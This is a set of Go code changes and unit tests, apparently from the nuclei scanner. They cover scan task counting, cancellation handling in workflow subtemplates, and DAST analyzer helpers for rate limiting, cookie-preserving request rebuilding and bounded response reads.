executerOpts.HostErrorsCache = &downHosts{inputs: down}
|
||||
}
|
||||
engine := New(options)
|
||||
executerOpts.Logger = engine.Logger
|
||||
engine.SetExecuterOptions(executerOpts)
|
||||
return engine, recorder
|
||||
}
|
||||
|
||||
// targetsOf returns a target provider of inputs.
|
||||
func targetsOf(inputs ...string) *fakeTargetProvider {
|
||||
targets := &fakeTargetProvider{}
|
||||
for _, input := range inputs {
|
||||
targets.values = append(targets.values, &contextargs.MetaInput{Input: input})
|
||||
}
|
||||
return targets
|
||||
}
|
||||
|
||||
func TestExecuteScanCountsTasks(t *testing.T) {
|
||||
scope := scopeByInput{
|
||||
"php": {paths: []string{"thinkphp.yaml"}},
|
||||
"tomcat": {paths: []string{"tomcat.yaml", "generic.yaml"}},
|
||||
"none": {},
|
||||
}
|
||||
inputs := []string{"php", "tomcat", "none", "plain"}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
scope protocols.TargetScope
|
||||
down map[string]bool
|
||||
wantRuns int
|
||||
wantTotal int64
|
||||
wantDone int64
|
||||
}{
|
||||
{
|
||||
name: "every pair",
|
||||
// 3 templates on 4 targets, and the self-contained template once
|
||||
wantRuns: 13,
|
||||
wantTotal: 13,
|
||||
wantDone: 13,
|
||||
},
|
||||
{
|
||||
name: "per-target profiles",
|
||||
scope: scope,
|
||||
// php 1, tomcat 2, none 0, plain 3, self-contained 1
|
||||
wantRuns: 7,
|
||||
wantTotal: 7,
|
||||
wantDone: 7,
|
||||
},
|
||||
{
|
||||
name: "unresponsive host",
|
||||
down: map[string]bool{"tomcat": true},
|
||||
// tomcat is skipped for all 3 templates
|
||||
wantRuns: 10,
|
||||
wantTotal: 13,
|
||||
wantDone: 13,
|
||||
},
|
||||
{
|
||||
name: "unresponsive host with per-target profiles",
|
||||
scope: scope,
|
||||
down: map[string]bool{"tomcat": true},
|
||||
// tomcat is skipped for its 2 templates
|
||||
wantRuns: 5,
|
||||
wantTotal: 7,
|
||||
wantDone: 7,
|
||||
},
|
||||
}
|
||||
|
||||
for _, strategy := range []scanstrategy.ScanStrategy{scanstrategy.TemplateSpray, scanstrategy.HostSpray} {
|
||||
for _, test := range tests {
|
||||
t.Run(strategy.String()+"/"+test.name, func(t *testing.T) {
|
||||
engine, recorder := newTaskEngine(strategy, test.scope, test.down, nil)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
runs []string
|
||||
)
|
||||
var templatesList []*templates.Template
|
||||
for _, path := range []string{"thinkphp.yaml", "tomcat.yaml", "generic.yaml"} {
|
||||
templatesList = append(templatesList, &templates.Template{
|
||||
ID: path,
|
||||
Path: path,
|
||||
TotalRequests: 1,
|
||||
Executer: &recordingExecuter{path: path, mu: &mu, runs: &runs},
|
||||
})
|
||||
}
|
||||
templatesList = append(templatesList, &templates.Template{
|
||||
ID: "self.yaml",
|
||||
Path: "self.yaml",
|
||||
TotalRequests: 1,
|
||||
SelfContained: true,
|
||||
Executer: &recordingExecuter{path: "self.yaml", mu: &mu, runs: &runs},
|
||||
})
|
||||
engine.ExecuteScanWithOpts(context.Background(), templatesList, targetsOf(inputs...), true)
|
||||
|
||||
require.Len(t, runs, test.wantRuns)
|
||||
require.Equal(t, test.wantTotal, recorder.total.Load(), "task total")
|
||||
require.Equal(t, test.wantDone, recorder.done.Load(), "done tasks")
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteScanCountsOriginScopedTasks(t *testing.T) {
|
||||
// a {{RootURL}} template runs once per origin, and the skipped repeats
|
||||
// are done tasks too
|
||||
inputs := []string{"http://a.test/x", "http://a.test/y", "http://a.test/z", "http://b.test/x"}
|
||||
|
||||
for _, strategy := range []scanstrategy.ScanStrategy{scanstrategy.TemplateSpray, scanstrategy.HostSpray} {
|
||||
t.Run(strategy.String(), func(t *testing.T) {
|
||||
engine, recorder := newTaskEngine(strategy, nil, nil, nil)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
runs []string
|
||||
)
|
||||
templatesList := []*templates.Template{{
|
||||
ID: "root.yaml",
|
||||
Path: "root.yaml",
|
||||
TotalRequests: 1,
|
||||
RequestsHTTP: []*http.Request{{Path: []string{"{{RootURL}}/"}}},
|
||||
Executer: &recordingExecuter{path: "root.yaml", mu: &mu, runs: &runs},
|
||||
}}
|
||||
require.True(t, templatesList[0].IsOriginScoped())
|
||||
engine.ExecuteScanWithOpts(context.Background(), templatesList, targetsOf(inputs...), true)
|
||||
|
||||
require.Len(t, runs, 2, "one run per origin")
|
||||
require.EqualValues(t, 4, recorder.total.Load(), "task total")
|
||||
require.EqualValues(t, 4, recorder.done.Load(), "done tasks")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteScanCountsResumedTasks(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
down map[string]bool
|
||||
wantRuns []string
|
||||
}{
|
||||
{
|
||||
name: "responsive hosts",
|
||||
wantRuns: []string{"todo.yaml@a", "todo.yaml@b"},
|
||||
},
|
||||
{
|
||||
// a resumed pair on an unresponsive host is counted once
|
||||
name: "unresponsive host",
|
||||
down: map[string]bool{"a": true},
|
||||
wantRuns: []string{"todo.yaml@b"},
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
resumeCfg := types.NewResumeCfg()
|
||||
resumeCfg.ResumeFrom["done.yaml"] = &types.ResumeInfo{Completed: true}
|
||||
engine, recorder := newTaskEngine(scanstrategy.TemplateSpray, nil, test.down, resumeCfg)
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
runs []string
|
||||
)
|
||||
var templatesList []*templates.Template
|
||||
for _, path := range []string{"done.yaml", "todo.yaml"} {
|
||||
templatesList = append(templatesList, &templates.Template{
|
||||
ID: path,
|
||||
Path: path,
|
||||
TotalRequests: 1,
|
||||
Executer: &recordingExecuter{path: path, mu: &mu, runs: &runs},
|
||||
})
|
||||
}
|
||||
engine.ExecuteScanWithOpts(context.Background(), templatesList, targetsOf("a", "b"), true)
|
||||
|
||||
require.ElementsMatch(t, test.wantRuns, runs)
|
||||
require.EqualValues(t, 4, recorder.total.Load(), "task total")
|
||||
require.EqualValues(t, 4, recorder.done.Load(), "done tasks")
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -132,7 +132,9 @@ func (e *Engine) runWorkflowStep(template *workflows.WorkflowTemplate, ctx *scan
|
||||
}
|
||||
|
||||
for _, subtemplate := range matcher.Subtemplates {
|
||||
swg.Add()
|
||||
if err := swg.AddWithContext(ctx.Context()); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
go func(subtemplate *workflows.WorkflowTemplate) {
|
||||
defer swg.Done()
|
||||
@@ -161,7 +163,9 @@ func (e *Engine) runWorkflowStep(template *workflows.WorkflowTemplate, ctx *scan
|
||||
}
|
||||
if len(template.Subtemplates) > 0 && firstMatched {
|
||||
for _, subtemplate := range template.Subtemplates {
|
||||
swg.Add()
|
||||
if err := swg.AddWithContext(ctx.Context()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go func(template *workflows.WorkflowTemplate) {
|
||||
// create a new context with the same input but with unset callbacks
|
||||
|
||||
@@ -2,7 +2,9 @@ package core
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/operators"
|
||||
@@ -301,6 +303,61 @@ func TestWorkflowsSameStepExecutersRefreshTemplateContext(t *testing.T) {
|
||||
require.Equal(t, "foo", secondWhoami, "could not refresh workflow context into later executers in the same step")
|
||||
}
|
||||
|
||||
func TestWorkflowSubtemplatesUnblockCancelledAcquire(t *testing.T) {
|
||||
progressBar, _ := progress.NewStatsTicker(0, false, false, false, 0)
|
||||
var started atomic.Int32
|
||||
block := &mockExecuter{result: true, executeScanHook: func(ctx *scan.ScanContext) {
|
||||
started.Add(1)
|
||||
<-ctx.Context().Done()
|
||||
}}
|
||||
var waitingStarted atomic.Bool
|
||||
waiting := &mockExecuter{result: true, executeScanHook: func(ctx *scan.ScanContext) {
|
||||
waitingStarted.Store(true)
|
||||
<-ctx.Context().Done()
|
||||
}}
|
||||
|
||||
// Two slots: the two blockers occupy them so the third AddWithContext waits.
|
||||
workflow := &workflows.Workflow{Options: &protocols.ExecutorOptions{Options: &types.Options{TemplateThreads: 2}}, Workflows: []*workflows.WorkflowTemplate{
|
||||
{Executers: []*workflows.ProtocolExecuterPair{{
|
||||
Executer: &mockExecuter{result: true, outputs: []*output.InternalWrappedEvent{
|
||||
{OperatorsResult: &operators.Result{}, Results: []*output.ResultEvent{{}}},
|
||||
}}, Options: &protocols.ExecutorOptions{Progress: progressBar}},
|
||||
}, Subtemplates: []*workflows.WorkflowTemplate{
|
||||
{Executers: []*workflows.ProtocolExecuterPair{{Executer: block, Options: &protocols.ExecutorOptions{Progress: progressBar}}}},
|
||||
{Executers: []*workflows.ProtocolExecuterPair{{Executer: block, Options: &protocols.ExecutorOptions{Progress: progressBar}}}},
|
||||
{Executers: []*workflows.ProtocolExecuterPair{{Executer: waiting, Options: &protocols.ExecutorOptions{Progress: progressBar}}}},
|
||||
}},
|
||||
}}
|
||||
|
||||
engine := &Engine{}
|
||||
parent, cancel := context.WithCancel(context.Background())
|
||||
input := contextargs.NewWithInput(parent, "https://test.com")
|
||||
ctx := scan.NewScanContext(parent, input)
|
||||
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
engine.executeWorkflow(ctx, workflow)
|
||||
}()
|
||||
|
||||
deadline := time.After(2 * time.Second)
|
||||
for started.Load() < 2 {
|
||||
select {
|
||||
case <-deadline:
|
||||
t.Fatal("blocking subtemplates did not occupy both slots")
|
||||
case <-time.After(10 * time.Millisecond):
|
||||
}
|
||||
}
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("workflow stayed blocked after cancel")
|
||||
}
|
||||
require.False(t, waitingStarted.Load(), "third subtemplate must not start while slots are held")
|
||||
}
|
||||
|
||||
type mockExecuter struct {
|
||||
result bool
|
||||
executeHook func(input *contextargs.MetaInput)
|
||||
|
||||
@@ -62,6 +62,10 @@ func (w *WorkPool) InputPool(templateType types.ProtocolType) *syncutil.Adaptive
|
||||
}
|
||||
|
||||
func (w *WorkPool) RefreshWithConfig(config WorkPoolConfig) {
|
||||
w.RefreshWithConfigContext(context.Background(), config)
|
||||
}
|
||||
|
||||
func (w *WorkPool) RefreshWithConfigContext(ctx context.Context, config WorkPoolConfig) {
|
||||
if w.config.TypeConcurrency != config.TypeConcurrency {
|
||||
w.config.TypeConcurrency = config.TypeConcurrency
|
||||
}
|
||||
@@ -74,7 +78,7 @@ func (w *WorkPool) RefreshWithConfig(config WorkPoolConfig) {
|
||||
if w.config.HeadlessInputConcurrency != config.HeadlessInputConcurrency {
|
||||
w.config.HeadlessInputConcurrency = config.HeadlessInputConcurrency
|
||||
}
|
||||
w.Refresh(context.Background())
|
||||
w.Refresh(ctx)
|
||||
}
|
||||
|
||||
func (w *WorkPool) Refresh(ctx context.Context) {
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
package analyzers
|
||||
|
||||
import (
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
)
|
||||
|
||||
@@ -28,6 +32,15 @@ type AnalyzerTemplate struct {
|
||||
// values:
|
||||
// - time_delay
|
||||
// - xss_context
|
||||
// - ssti
|
||||
// - sqli_error
|
||||
// - lfi
|
||||
// - open_redirect
|
||||
// - crlf
|
||||
// - ssrf
|
||||
// - cors
|
||||
// - cmdi
|
||||
// - host_header_injection
|
||||
Name string `json:"name" yaml:"name"`
|
||||
// description: |
|
||||
// Parameters is the parameters for the analyzer
|
||||
@@ -62,9 +75,164 @@ type Options struct {
|
||||
HttpClient *retryablehttp.Client
|
||||
ResponseTimeDelay time.Duration
|
||||
AnalyzerParameters map[string]interface{}
|
||||
// RateLimitTake, when set, blocks until the scan's global rate limiter
|
||||
// permits another request. Each analyzer issues several probes per call, so
|
||||
// wiring the same limiter the rest of the scan uses keeps DAST analysis
|
||||
// within the user's configured rate budget instead of bursting unthrottled
|
||||
// traffic at the target. It is safe to leave nil (e.g. in unit tests).
|
||||
RateLimitTake func()
|
||||
}
|
||||
|
||||
// RateLimit blocks until the scan's rate limiter allows another request. It is a
|
||||
// no-op when no limiter was wired (RateLimitTake is nil), so analyzers can call
|
||||
// it unconditionally before every probe.
|
||||
func (o *Options) RateLimit() {
|
||||
if o != nil && o.RateLimitTake != nil {
|
||||
o.RateLimitTake()
|
||||
}
|
||||
}
|
||||
|
||||
// SetValueAndRebuild sets value on the fuzzed component, rebuilds the request,
|
||||
// and re-applies headers from the original generated request that Rebuild()
|
||||
// drops. Rebuild() only carries headers present at parse time, so post-parse
|
||||
// injections (most importantly authentication headers) are lost without this.
|
||||
// Sharing this keeps every analyzer consistent and authenticated-scan safe.
|
||||
func SetValueAndRebuild(gr fuzz.GeneratedRequest, value string) (*retryablehttp.Request, error) {
|
||||
if err := gr.Component.SetValue(gr.Key, value); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
rebuilt, err := gr.Component.Rebuild()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if gr.Request != nil {
|
||||
if gr.Component.Name() == component.RequestCookieComponent {
|
||||
// Done outside the header loop because the live request may no
|
||||
// longer carry a Cookie header at all, and the rebuilt request must
|
||||
// not resurrect the cookies it had at parse time.
|
||||
mergeRequestCookies(rebuilt, gr.Request, gr.Key)
|
||||
} else if !fuzzingCookieHeader(gr) {
|
||||
// Same absence problem for query/path/body/header probes: Rebuild
|
||||
// clones the parse-time request, so a Cookie header dropped after
|
||||
// parse would otherwise survive. The live request is authoritative,
|
||||
// including when it has no cookies. Skip when the header component
|
||||
// is itself fuzzing Cookie so the probe payload is not wiped.
|
||||
syncLiveCookieHeader(rebuilt, gr.Request)
|
||||
}
|
||||
for k, vs := range gr.Request.Header {
|
||||
// don't clobber the header we are actively fuzzing
|
||||
if gr.Component.Name() == component.RequestHeaderComponent && k == gr.Key {
|
||||
continue
|
||||
}
|
||||
if strings.EqualFold(k, "Cookie") {
|
||||
continue
|
||||
}
|
||||
// don't clobber headers the component itself manages on the rebuilt
|
||||
// request (e.g. Cookie for the cookie component, Content-Type/Length
|
||||
// for the body component); only restore headers that Rebuild dropped
|
||||
// (most importantly post-parse auth headers).
|
||||
if len(rebuilt.Header.Values(k)) > 0 {
|
||||
continue
|
||||
}
|
||||
rebuilt.Header[k] = vs
|
||||
}
|
||||
}
|
||||
return rebuilt, nil
|
||||
}
|
||||
|
||||
func fuzzingCookieHeader(gr fuzz.GeneratedRequest) bool {
|
||||
return gr.Component != nil && gr.Component.Name() == component.RequestHeaderComponent && strings.EqualFold(gr.Key, "Cookie")
|
||||
}
|
||||
|
||||
// syncLiveCookieHeader copies Cookie from the live request onto the rebuilt
|
||||
// probe, or deletes it when the live request has none. Callers must not use
|
||||
// this when Cookie is the value under test.
|
||||
func syncLiveCookieHeader(rebuilt, current *retryablehttp.Request) {
|
||||
rebuilt.Header.Del("Cookie")
|
||||
if vs := current.Header.Values("Cookie"); len(vs) > 0 {
|
||||
rebuilt.Header["Cookie"] = append([]string(nil), vs...)
|
||||
}
|
||||
}
|
||||
|
||||
// mergeRequestCookies rebuilds the probe's Cookie header from the live request,
|
||||
// substituting the fuzzed value for the cookie under test. The live request is
|
||||
// authoritative for every other cookie, including its order and any duplicate
|
||||
// names (Go allows repeated cookie names in a request), so cookies added after
|
||||
// the component was parsed survive and cookies removed since then are not
|
||||
// resurrected.
|
||||
func mergeRequestCookies(rebuilt, current *retryablehttp.Request, fuzzedKey string) {
|
||||
var fuzzed *http.Cookie
|
||||
for _, cookie := range rebuilt.Cookies() {
|
||||
if cookie.Name == fuzzedKey {
|
||||
fuzzed = cookie
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
currentCookies := current.Cookies()
|
||||
merged := make([]*http.Cookie, 0, len(currentCookies)+1)
|
||||
var injected bool
|
||||
for _, cookie := range currentCookies {
|
||||
if fuzzed != nil && cookie.Name == fuzzedKey {
|
||||
// servers disagree on which duplicate wins, so every occurrence of
|
||||
// the fuzzed name carries the payload to keep the probe meaningful
|
||||
merged = append(merged, fuzzed)
|
||||
injected = true
|
||||
continue
|
||||
}
|
||||
merged = append(merged, cookie)
|
||||
}
|
||||
if fuzzed != nil && !injected {
|
||||
// the live request dropped the fuzzed cookie; send the payload anyway,
|
||||
// otherwise the probe would be indistinguishable from the baseline
|
||||
merged = append(merged, fuzzed)
|
||||
}
|
||||
|
||||
rebuilt.Header.Del("Cookie")
|
||||
for _, cookie := range merged {
|
||||
rebuilt.AddCookie(cookie)
|
||||
}
|
||||
}
|
||||
|
||||
// MaxResponseBodyBytes bounds how much of a response body an analyzer reads so a
|
||||
// hostile or oversized response cannot exhaust memory.
|
||||
const MaxResponseBodyBytes = 10 * 1024 * 1024 // 10 MiB
|
||||
|
||||
// DoAndReadBody sends req and returns the response along with its body, bounded
|
||||
// by MaxResponseBodyBytes. The body is fully read and closed before returning,
|
||||
// so callers may still inspect resp.Header afterwards. resp is nil only when the
|
||||
// request itself failed.
|
||||
func DoAndReadBody(client *retryablehttp.Client, req *retryablehttp.Request) (*http.Response, string, error) {
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return resp, "", err
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, MaxResponseBodyBytes))
|
||||
_ = resp.Body.Close()
|
||||
if err != nil {
|
||||
return resp, "", err
|
||||
}
|
||||
return resp, string(body), nil
|
||||
}
|
||||
|
||||
// SendValueAndReadBody sets value on the fuzzed component, rebuilds the request
|
||||
// (restoring auth headers Rebuild drops), sends it, and returns the response
|
||||
// body. This is the shared path for body-signature analyzers (sqli, cmdi, ssti,
|
||||
// lfi, ssrf), which only inspect the response body.
|
||||
func SendValueAndReadBody(options *Options, value string) (string, error) {
|
||||
rebuilt, err := SetValueAndRebuild(options.FuzzGenerated, value)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
options.RateLimit()
|
||||
_, body, err := DoAndReadBody(options.HttpClient, rebuilt)
|
||||
return body, err
|
||||
}
|
||||
|
||||
var (
|
||||
// randMu guards random: analyzers run concurrently across fuzzed components,
|
||||
// and math/rand's top-level source is not safe for concurrent use.
|
||||
randMu sync.Mutex
|
||||
random = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
)
|
||||
|
||||
@@ -81,17 +249,46 @@ func ApplyPayloadTransformations(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
const (
|
||||
letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
// alphaNumLower / alphaLower back the shared RandToken / RandAlphaToken
|
||||
// helpers used by analyzers for canary hosts, header names and sentinels.
|
||||
alphaNumLower = "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
alphaLower = "abcdefghijklmnopqrstuvwxyz"
|
||||
)
|
||||
|
||||
// randStringFrom returns a random string of length n drawn from alphabet, using
|
||||
// the shared mutex-guarded source so it is safe for concurrent analyzers.
|
||||
func randStringFrom(alphabet string, n int) string {
|
||||
b := make([]byte, n)
|
||||
randMu.Lock()
|
||||
for i := range b {
|
||||
b[i] = alphabet[random.Intn(len(alphabet))]
|
||||
}
|
||||
randMu.Unlock()
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func randStringBytesMask(n int) string {
|
||||
b := make([]byte, n)
|
||||
for i := range b {
|
||||
b[i] = letterBytes[random.Intn(len(letterBytes))]
|
||||
}
|
||||
return string(b)
|
||||
return randStringFrom(letterBytes, n)
|
||||
}
|
||||
|
||||
// RandToken returns a random lowercase alphanumeric token of length n. It suits
|
||||
// canary hosts/header names and any sentinel that may legitimately be numeric.
|
||||
func RandToken(n int) string {
|
||||
return randStringFrom(alphaNumLower, n)
|
||||
}
|
||||
|
||||
// RandAlphaToken returns a random lowercase alphabetic token of length n (never
|
||||
// digits), for sentinels that must not be confused with numeric output (e.g.
|
||||
// the SSTI arithmetic oracle).
|
||||
func RandAlphaToken(n int) string {
|
||||
return randStringFrom(alphaLower, n)
|
||||
}
|
||||
|
||||
// GetRandomInteger returns a random integer between 1000 and 9999
|
||||
func GetRandomInteger() int {
|
||||
randMu.Lock()
|
||||
defer randMu.Unlock()
|
||||
return random.Intn(9000) + 1000
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
package analyzers
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestSetValueAndRebuildRefreshesLiveCookies(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/?q=x", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "theme=light")
|
||||
|
||||
query := component.NewQuery()
|
||||
parsed, err := query.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
cloned := query.Clone()
|
||||
|
||||
raw.Header.Set("Cookie", "theme=dark; session=abc123")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "q",
|
||||
}, "probe")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "dark", cookieValue(t, rebuilt, "theme"))
|
||||
require.Equal(t, "abc123", cookieValue(t, rebuilt, "session"))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildDropsStaleCookiesOnQueryProbes pins that a query probe
|
||||
// does not resurrect parse-time cookies after the live request dropped Cookie.
|
||||
func TestSetValueAndRebuildDropsStaleCookiesOnQueryProbes(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/?q=x", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "session=old")
|
||||
|
||||
cloned := parsedQueryComponent(t, raw)
|
||||
|
||||
raw.Header.Del("Cookie")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "q",
|
||||
}, "probe")
|
||||
require.NoError(t, err)
|
||||
require.Empty(t, rebuilt.Header.Get("Cookie"))
|
||||
require.Equal(t, 0, len(rebuilt.Cookies()))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildPreservesFuzzedCookieHeader pins that fuzzing Cookie as
|
||||
// a header keeps the probe payload even when the live request no longer has it.
|
||||
func TestSetValueAndRebuildPreservesFuzzedCookieHeader(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "session=old")
|
||||
raw.Header.Set("X-Trace", "1")
|
||||
|
||||
headers := component.NewHeader()
|
||||
parsed, err := headers.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
cloned := headers.Clone()
|
||||
|
||||
raw.Header.Del("Cookie")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "Cookie",
|
||||
}, "session=probe")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "session=probe", rebuilt.Header.Get("Cookie"))
|
||||
require.Equal(t, "1", rebuilt.Header.Get("X-Trace"))
|
||||
}
|
||||
|
||||
func TestSetValueAndRebuildMergesCookiesAroundFuzzedCookie(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "lang=en")
|
||||
|
||||
cookies := component.NewCookie()
|
||||
parsed, err := cookies.Parse(raw)
|
||||
require.NoError(t, err)
|
||||
require.True(t, parsed)
|
||||
cloned := cookies.Clone()
|
||||
|
||||
raw.Header.Set("Cookie", "lang=en; session=abc123")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "lang",
|
||||
}, "fr")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "fr", cookieValue(t, rebuilt, "lang"))
|
||||
require.Equal(t, "abc123", cookieValue(t, rebuilt, "session"))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildDropsStaleCookies pins that a cookie the live request no
|
||||
// longer sends is not resurrected from the parse-time snapshot: probing "theme"
|
||||
// must not carry the stale "session" value.
|
||||
func TestSetValueAndRebuildDropsStaleCookies(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "theme=light; session=abc123")
|
||||
|
||||
cloned := parsedCookieComponent(t, raw)
|
||||
|
||||
// the live request dropped session after the component was parsed
|
||||
raw.Header.Set("Cookie", "theme=light")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "theme",
|
||||
}, "fr")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "theme=fr", rebuilt.Header.Get("Cookie"))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildDropsStaleCookiesWithoutCookieHeader covers the extreme
|
||||
// of the same case: the live request has no Cookie header left, so only the
|
||||
// fuzzed cookie may survive.
|
||||
func TestSetValueAndRebuildDropsStaleCookiesWithoutCookieHeader(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "theme=light; session=abc123")
|
||||
|
||||
cloned := parsedCookieComponent(t, raw)
|
||||
|
||||
raw.Header.Del("Cookie")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "theme",
|
||||
}, "fr")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "theme=fr", rebuilt.Header.Get("Cookie"))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildPreservesDuplicateCookieNames pins that duplicate cookie
|
||||
// names keep their own values and positions, instead of collapsing to whichever
|
||||
// one a name-keyed map saw last.
|
||||
func TestSetValueAndRebuildPreservesDuplicateCookieNames(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "sid=1; dup=x; dup=y")
|
||||
|
||||
cloned := parsedCookieComponent(t, raw)
|
||||
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "sid",
|
||||
}, "probe")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "sid=probe; dup=x; dup=y", rebuilt.Header.Get("Cookie"))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildFuzzesEveryDuplicateOfFuzzedCookie documents that when
|
||||
// the fuzzed name itself is duplicated, every occurrence carries the payload:
|
||||
// servers disagree on which duplicate wins, so the probe must not depend on it.
|
||||
func TestSetValueAndRebuildFuzzesEveryDuplicateOfFuzzedCookie(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "dup=x; keep=1; dup=y")
|
||||
|
||||
cloned := parsedCookieComponent(t, raw)
|
||||
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "dup",
|
||||
}, "probe")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "dup=probe; keep=1; dup=probe", rebuilt.Header.Get("Cookie"))
|
||||
}
|
||||
|
||||
// TestSetValueAndRebuildKeepsPayloadWhenFuzzedCookieRemoved makes sure dropping
|
||||
// stale cookies never drops the payload itself, which would make the probe
|
||||
// identical to the baseline request.
|
||||
func TestSetValueAndRebuildKeepsPayloadWhenFuzzedCookieRemoved(t *testing.T) {
|
||||
raw, err := retryablehttp.NewRequest(http.MethodGet, "http://example.com/", nil)
|
||||
require.NoError(t, err)
|
||||
raw.Header.Set("Cookie", "theme=light; session=abc123")
|
||||
|
||||
cloned := parsedCookieComponent(t, raw)
|
||||
|
||||
// the live request dropped the very cookie being fuzzed
|
||||
raw.Header.Set("Cookie", "session=zzz999")
|
||||
rebuilt, err := SetValueAndRebuild(fuzz.GeneratedRequest{
|
||||
Request: raw,
|
||||
Component: cloned,
|
||||
Key: "theme",
|
||||
}, "fr")
|
||||
require.NoError(t, err)
|
||||
require.Equal(t, "session=zzz999; theme=fr", rebuilt.Header.Get("Cookie"))
|
||||
}
|
||||
|
||||
